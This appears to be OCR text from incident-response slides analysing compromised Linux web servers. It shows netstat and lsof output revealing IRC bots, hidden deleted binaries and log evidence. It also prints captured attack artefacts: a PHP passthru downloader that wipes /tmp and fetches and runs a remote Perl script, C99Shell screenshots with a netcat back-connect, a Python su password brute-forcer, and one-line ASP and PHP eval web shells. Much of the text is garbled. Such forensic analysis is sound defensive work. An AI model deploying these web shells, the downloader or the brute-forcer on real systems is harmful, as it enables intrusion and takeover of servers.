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Netstat -na (1)
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Netstat -na(2)

[root@www ~]# netstat -na

Active Internet connections (servers and established)

Proto Recv-( Send-() Local Address Foreign Address State

tcp 0.0.0.0:330¢6 0.0.0.0:* LISTEN

tcp 0.0.0.0:111 0.0.0.0: LISTEN

163. 88.72.255.172:6667 ESTABLISHED
163. .154.6.180:6687 ESTABLISHED
163. .124.229.59:6687 ESTABLISHED
163. 154.6.180:66867 ESTABLISHED
163. 154.6.180:66867 ESTABLISHED
163. .54.159.109:66867 ESTABLISHED
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Netstat -ap(2)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 ¥ :mysql L LISTEN 2048/mysqld

tcp *:sunrpc "o LISTEN 1777/portmap

tcp WWW. .edu.tw: server.desirenet.org:ircd ESTABLISHED |20096/httpd

tcp WWW . .edu.tw: NONE-TIWENTYSEVEN-THIRT :ircd ESTABLISHED | 6354/bash

tcp WWW., .edu.tw: clanserver4u.de.quaken:ircd ESTABLISHED 20091/httpd
tcp WWW . .edu.tw: NONE-TWENTYSEVEN-THIRT :ircd ESTABLISHED  6354/bash
tcp WWW . .edu.tw: NONE-TWENTYSEVEN-THIRT:ircd ESTABLISHED  6354/bash
tcp WWW . .edu.tw: 195.54.159.109:ircd ESTABLISHED | 6325/httpd
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Isof | grep shm

[root@www ~]# 1sof | grep s

httpd 6325 apache cwd ¢ 40 57065 |/dev/shm/ /.m (deleted)

httpd 6325  apache ti ; 152108 57103 /dev/shm/ /.m/httpd (deleted)
bash 6354 apache cwd : 40 57142 /dev/shm/ /.m/mc (deleted)

bash 6354 apache tx : 492135 57144 /dev/shm/ /.m/mc/bash (deleted)

bash 6354  apache i ; 256 57159 /dev/shm/ /.m/mc/LinkEvents (deleted)
httpd 20091  apache cwd : 700 354528 /dev/shm/ /.m

httpd 20091  apache t3 ; 152108 354566 /dev/shm/ /.m/httpd

httpd 20096  apache cwd : 680 354604 /dev/shm/ /.m/.m

httpd 20096  apache t G ; 152108 354642 /dev/shm/ /.m/.m/httpd

¢ [devishm : tmpfs(ZFEEE - HiBE R EEECERET) -
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Isof | grep bash

[root@arteaching ~]% 130f | qrep bash
bash 8142  apache cwd DIR 8,2 4096 19955725 /tmp/ /.a

bash 8142  apache rtd DIR 8,2 4096 2/
bash 8142  apache txt REG 8,2 492135 19955727 /tmp/  /.a/bash (deleted)
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C#k(last log)
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#%(secure log)
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vi /var/log/auth.
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vi /var/log/secure(CentOS
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ta 48 8 A 5% (history)
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@ fRapachefFEXaC#k(access_log)




i fRapachetasr FHECEx(error_log)

vi /var/log/httpd/error_log(CentOS)
vi /var/log/apache2/errorlog(Ubuntu)

[Wed Oct 27 14:18:07 20107 [error] [client 218.91.251.142] File does not exist: /home/mp3/www/ topmp3/song004.mp3
--2010-10-27 14:21:23-- http://beaumult.go. rofatx, txt

Resolving beawmult.go.ro... 81.196.20.134

Connecting to beawmult.go.rol81.196.20.1341:80... connected.

HTTP request sent, awaiting response, .. --2010-10-27 14:21:24-- http://beaumult.go. rofatx, txt

Resolving beawmlt.go.ro... 81.196.20.134

Connecting to beaumult.gzo. .rol81.106. 20 1341:80... connected,

HTTP request sent, awalting response... 200 OK

Length: 17203 (I?K) [textiplain]

Saving to: “atx.txt'

1) 100% 87.94=0s
2010-10-27 14:21:24 (87.9 MBfs) - “atx.txt' saved [17203/17203]
%aél: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -1 [sigspec]
0K

Length: 17203 (17K) [text/plain]
Saving to: Tatx.txt'

DG anmaiging Dnas 100% 4.334=0.004s
2010-10-27 14:21:25 (4.33 MBfs) - “atx.txt' saved [17203/17203]
sh: line 0: kill: 7: arguments must be process or job IDs
sh: line 0: kill: $: arguments must be process or job IDs
sh: line 0: kill: 0:00: arguments must be process or job IDs
sh: line 0: kill: fusrfsbinfapacheflogs: arguments must be process or job IDs
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Isof | grep 5742
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Is /etc/group
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Netstat -na

State
LISTEN
LISTEN
LISTEN
LISTEN
ESTABLISHED
CLOSE_WAIT
STABLISHED
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Netstat -ap
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Isof | grep 13488
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d-addo 3640 ldaen )4, 3 550286 /usr/libexec/hald-addon-acpi
/var/tmp/flood

/

o

Sy
0 0 O

[
8]

|-
18I\
(e
-

o

/1ib/libc-2.5.s0
/1lib/libnss_dns-2.5.so0
/1lib/libresolv-2.5.s0
/1ib/1d-2.5.s0
/1lib/libnss fil
identhy
identify
identify

apache
apache
apache

apache

TSR
[
V)
RS fe

0 (

~ W W

W0 W0 ww

=
5]
[y

N

co
[

[
W«
oo

0]
0
|

S IS B T A B S V)

(Wt
o

apache
apache
apache

apache

H
0

R
O
0
O

0

€3]

0 .
= = = 0
0

o
a0
C

H
0

oo
'O
M
o]
ot ot ot O
0

[y

w o

)

=

-

W s
NN NN
(1S ST S S Y

o

W o Wwwwo;momooMm

0
-
B W W WL
o}
0
(o]
}

(

apache
apache
apache
apache
apache
apache
apache
apache
apache
apache
apache
apache
ontab apache
rontab apache
ontab ] apache

oo WO

5~

o
(oo Qi =
[s oI5 I« XN &1 B ¥ @, RS IS RS S|

[ W Y
ol

a0}

M J o U Wk
= =]
oW oo
~

[
[as]
o w0

ol
-)

o
O C

[Xe)
~J
o JE Y
bt e e O e e WWWHEH WO WO 60D

(_
oy oY N

<
o
o

[T Y
25}

<

[
)]
NN WO

SN N Y Nt

o

NS BN YO

o N

(== s )

=t
o
=
(SN
)

o

= NN

Leo N o il 2 )

w W W (;J [SV I O I % B &V I % Y S

=
\%)
(U}
[1-8

fos)

=
s W= O W

og/httpd/ssl_er
og/httpd/access_log.1
/var/log/httpd/sfsmaster—-acc
/var/log/httpd/sfs3-access 1
/var/log/httpd/ssl_ 1
/var/log/httpd/ssl_
*:49566

[as]
-]

[ W Y
[
) C

o
o

o

[
=t
o
C

ol
w N~

o
[1-8
~
[9)]
[\%]
s8]
[T |
[#3]

[
e B B N N B |

O & W W

(oo @ =)

0
o]

B DN DN BN NN DNDN NN

SR WA VY gy Wt S §

[ S S S

o

[ ST Y
[0s]

[ S Y
o O C
19
~

[as]

) ~J
~]
(e}

SN NDNDDNDNDDNDN
[

OO O WLMNNNW

s

=
s
=~
O
ct
p
i
v}
N

an
o]




-)

(h)
O

-)

-
o0

Is /var/tmp/ -




Is /var/log/httpd/error_lo

perl: no process kil
: *password*@84.246.

Connecting 4. . .20: ... connected.
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==> RETR bebe.txt
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OK ..done. ==> RETR bebe.txt
.txt has sprung into existence.
Retrying.

bebe.txt has sprung




Is /var/log/httpd/access log
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2R E AR

( ;) A http'/;’_’,/phpf'.-":g,-'Admin,f’scripts;’setup.php LD~ |
BEF [EE) BRNV ZNEBA) IEM =|=EH x Google |

Welcome

description of all configuration directives.

phpMyAdmin 2.9.0.2 setup

@ You want to configure phpMyAdmin using web inter|
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Malware Downloader

passthru('

cd /tmp;rm -rf *;

wget http://50.22.11.7/~blogabur//wp-content/sec.txt;

perl sec.txt; rm -rf *;

fetch http://50.22.11.7/~blogabur//wp-content/sec.txt;

perl sec.txt; rm -rf *;

curl -O http://50.22.11.7/~blogabur//wp-content/sec.txt;

perl sec.txt; rm -rf *;

lynx --source http://50.22.11.7/~blogabur//wp-content/sec.txt >> sec.txt;
perl sec.txt; rm -rf *;

GET http://50.22.11.7/~blogabur//wp-content/sec.txt >> sec.txt;

perl sec.txt; rm -rf *;

lwp-download -a http://50.22.11.7/~blogabur//wp-content/sec.txt /tmp;
perl sec.txt; rm -rf *');
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C99Shell

[ ] htt /_/eclass40/fi]es//c99.php?act=tools&d=/home/eclass/eclassdata/file/ -

!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (Cent0S). PHP/5.1.6

uname -a: Linux eclass.fysh.tw 2.6.18-164.11.1.el5 #1 SMP Wed Jan 20 07:39:04 EST 2010 i686
uid=48(apache) gid=48(apache) groups=48(apache)

Safe-mode:

/home/eclass/eclassdata/file/

Free 209.86 GB of 235.39 GB (89.16%)

24 »
ﬁ = L E e ﬁ Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

:: Bind Functions By r57 ::
Bind With Backd0Or Burner Back-Connection :

Use Wget = Ip (default is your ip) :
163.17.40. 166

Burn it bAby Port:
4392

Click "Connect" only after open port for it. You should use NetCat@, run "nc -l -n -v -p 31373"!

:: File Stealer Function Ripped fRom Tontong 's File Stealer

Error_Log SAfe Mode Bypass By Psycho ;) Dosyanin Adresi ? =

Nereya Kaydolcak? = I/home/edass/edassdata/ﬁle/splonz.zlp

Dosyayi Chek

l/home/edass/edassdata/ﬁle\mdex.php l I Write 2 File 11 |




C99Shell(con’d)

(] http// I /=class40/files//c99.php?
!C99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (Cent0S). PHP/5.1.6

uname -a: Linux eclass.fysh.tw 2.6.18-164.11.1.el5 #1 SMP Wed Jan 20 07:39:04 EST 2010 i686
uid=48(apache) gid=48(apache) groups=48(apache)

Safe-mode:

/home/eclass/eclassdata/file/

Free 209.86 GB of 235.39 GB (89.16%)

4\ ~ s &
ﬁ e - = . E Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

C99 Modified By Psych0

Listing folder (13 files and 29 folders):

1NN NN NN NN NN

F
o
3
o
| 2

Modify Owner/Group Perms
13.02.2007 14:19:00 apache/apache
23.06.2011 00:22:26 apache/apache
[album] 14.04.2011 10:28:47 apache/apache
[c1] 06.06.2011 05:48:46 apache/apache
[c4] 14.04.2010 22:29:55 apache/apache
[c5] 01.04.2010 14:35:36 apache/apache
[c6] 01.04.2010 14:35:46 apache/apache
[c7] 01.04.2010 14:35:51 apache/apache
[c8] 01.04.2010 14:35:56 apache/apache
[co] 01.04.2010 14:36:06 apache/apache
[c10] 01.04.2010 14:36:10 apache/apache
[ci1] 01.04.2010 14:36: apache/apache
[c13] 01.04.2010 14:36:44 apache/apache
[c14] 01.04.2010 14:36: apache/apache
[c15] 01.04.2010 14:37:04 apache/apache
[c17] 01.04.2010 14:37: apache/apache
[c18] 01.04.2010 15:14: apache/apache

' PRPERERFRFRERRRRRERER O
2B B-B-E-2-E-B- BB B- B B- B- B2~ - B- 11

[c19] 16.04.2010 16:18: apache/apache




C99Shell(con’d)

ETHEEHERETO-ZHES

$#HH|£%8 . BACKDOOR c99shell.php command request - tools
EH420ERS 1 2011-06-23

BHEHE 4

¥4 FrE Payload

(LR RHEAEE ALETTHER)

W0 e s o vexiaion
1 2011-08-23 00:22:45 60.51.39.215:57652 - a0
2 2011-06-23 00:23:23 60.51.39.215:57710 a0
3 2011-08-23 00:22:45 60.51.39.215.57652 1]
4 2011-06-23 00:23:23 60.51.39.215:57710 a0
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Su(Python)

#!/usr/bin/python
# MODIFICATED BEY EVILUTZ LND SMENLER

import =y=, pwd, o=
sys.path.append | 'pexpect ')
Lry:
import pexpect
except (ImportError) :
print "‘nYou need the pexpect module.™
ays.exit(l)
#Change this if needed.
LOGIN ERROR = 'su: '
def brute (word) :
print "Trying:",word
child = pexpect.spawn ('su '+user)
child.expect ('Password: ')
child.=sendline (word)
i = child.expect ([LOGIN ERRCOE, pexpect.TIMECUT], timeout=3)
ifi == 1:
print "\mM\t[!] PBASSWORD:",word
child.=sendline {'id')
print "\nPWNHED! PWNED! PWNED' PWNED! PWNED! PWNWED!'"™
print child.before
child.interact()
$#if i = 0:

#print "Incorrect Password"™
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dml
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£27230 - BB FERIE S

my @ualistc = |
"Mozilla/5.0 (Windows NT 6.1; WOWE4; rv:6.0a2) Gecko/20110613 Firefox/6.0a2",
"Mozilla//5.0 (Windows NT 6.1; WOWe4; rv:6.0a2) Gecko/ 20110612 Firefox/6.0a2",
"Mozilla/5.0 (Windows HT &€.1; rv:6.0) Gecko/20110814 Firefox/&6.0",
"Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0 FirePHE/0.6",
"Mozilla/5.0 (Windows NT 5.0; WOW&64; rv:6.0) Gecko/Z20100101 Firefox/6.0",
"Mozilla//5.0 (Windows WNT 6.1y U; rar rv:5.0.1.68) Gecko/20110501 Firefox/5.0.1 Firefox/5.0.1",
"Mozilla/5.0 (Windows NT &.2; WOWe4; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 6.1; Win&4; x64; rv:5.0) Gecko/20110619% Firefox/5.0",
"Mozilla/5.0 (Windows NT 6.1; Win&4; x64; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows WNT 6.1.1; rv:5.0) Gecko/ /20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 5.2; WOWe4; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 5.1; U; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/5.0",
"Mozilla//5.0 (Windows NT 5.0y WOWe4; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows HT 5.0; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 6.1; Winé4; x64; rv:Z2.Zalpre) Gecko/ /20110324 Firefox/4.Zalpre",
"Mozilla/5.0 (Windows NT 6.1; Wing4; x64; rv:2.Zalpre) GEecko/ /20110323 Firefox/4.Zalpre",
"Mozilla// 5.0 (Windows NT 6.1; Wined4; x64; rv:2.2alpre) Gecko/ /20110208 Firefox/4.Zalpre",
"Mozilla/5.0 (Windows HNT &6.1; Winé4; x64; rv:2.0bf%pre) Gecko/20101228 Firefox/4.0b%pre",
"Mozilla/5.0 (Windows NT 5.1; rv:2.0b3%pre) Gecko/20110105 Firefox/4.0b%pre",
"Mozilla/5.0 (Windows NT 6.1; WOWE4; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre",
"Mozilla/5.0 (Windows WNT 6.1y Wined4; x64; rv:2.0b8pre) Gecko/ /20101213 Firefox/4.0b8pre",
"Mozilla/5.0 (Windows HT &6.1; Winé4; x64; rv:2.0b8pre) Gecko/20101128 Firefox/4.0b8pre",
"Mozilla/5.0 (Windows NT 6.1; Win&4; x64; rv:2.0b8pre) Gecko/ 20101114 Firefox/4.0b8pre",
"Mozilla/5.0 (Windows NT 5.1; rv:2.0b8pre) Gecko/20101127 Firefox/4.0b8pre",
"Mozilla/5.0 (Windows NT 6.1y rv:2.0b7pre) Gecko/20100%921 Firefox/4.0bTpre™,
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ASP: <%execute(request('cmd"))%>

ASP:<script language=VBScript runat=server>
execute request("cmd")</script>

PHP: <?php eval($_POST[cmd]);?>
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